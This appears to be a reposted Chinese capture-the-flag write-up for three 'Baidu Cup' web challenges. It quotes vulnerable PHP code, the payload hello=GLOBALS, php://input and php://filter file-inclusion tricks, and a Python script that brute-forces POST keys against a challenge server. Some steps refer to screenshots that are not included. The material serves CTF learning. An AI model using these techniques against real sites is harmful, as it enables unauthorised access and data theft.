百度杯
Posted sylover
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了百度杯相关的知识,希望对你有一定的参考价值。
一共6道题有两道题没写上。
1.全局变量。
开始给了一大片代码,只截取有用的一部分。
include "flag.php"; $a = @$_REQUEST[‘hello‘]; if(!preg_match(‘/^w*$/‘,$a )){ die(‘ERROR‘); } eval("var_dump($$a);"); show_source(__FILE__); ?>
hello作为全局变量,如果HELLO被赋值为全局函数,就输出flag。hello=GLOBALS
2.include(文件包含)
path作为参数我们需要通过这个参数读取php中的绝对路径。
爆绝对路径有两种方法 1.利用php://input+post覆盖原有变量。2.利用php://filter伪协议读取文件目录。
第一种方式 bp抓包后修改数据
system函数作为命令执行函数会使文件列出自己的目录。
这个就是要用的文件。
之后利用php伪协议读取这段代码
解码后
3.attrack
<?php header("content-type:text/html;charset=utf-8"); show_source(__FILE__); echo ‘<pre>‘; include(‘u/ip.php‘); include(‘flag.php‘); if (in_array($_SERVER[‘REMOTE_ADDR‘],$ip)){ die("您的ip已进入系统黑名单"); } var_dump($ip); if ($_POST[substr($flag,5,3)]==‘attack‘){ echo $flag; }else if (count($_POST)>0){ $ip = ‘$ip[]="‘.$_SERVER[‘REMOTE_ADDR‘].‘";‘.PHP_EOL; file_put_contents(‘u/ip.php‘,$ip,FILE_APPEND); } echo ‘</pre>‘; array(0) { }
代码的大概意思就是验证flag从第5位开始之后的3个字符是否符合要求,因此需要穷举所有情况。贴出要写的py脚本。
import requests flagChar="0123456789abcdefgh" url="http://9ce38ac00cc94333a493d980280b990d53789b1435df421e.changame.ichunqiu.com/" dictData={} for a in flagChar: for b in flagChar: for c in flagChar: dictData[a+b+c]="attack" print (dictData) res = requests.post(url,data=dictData) print (res.text)
以上是关于百度杯的主要内容,如果未能解决你的问题,请参考以下文章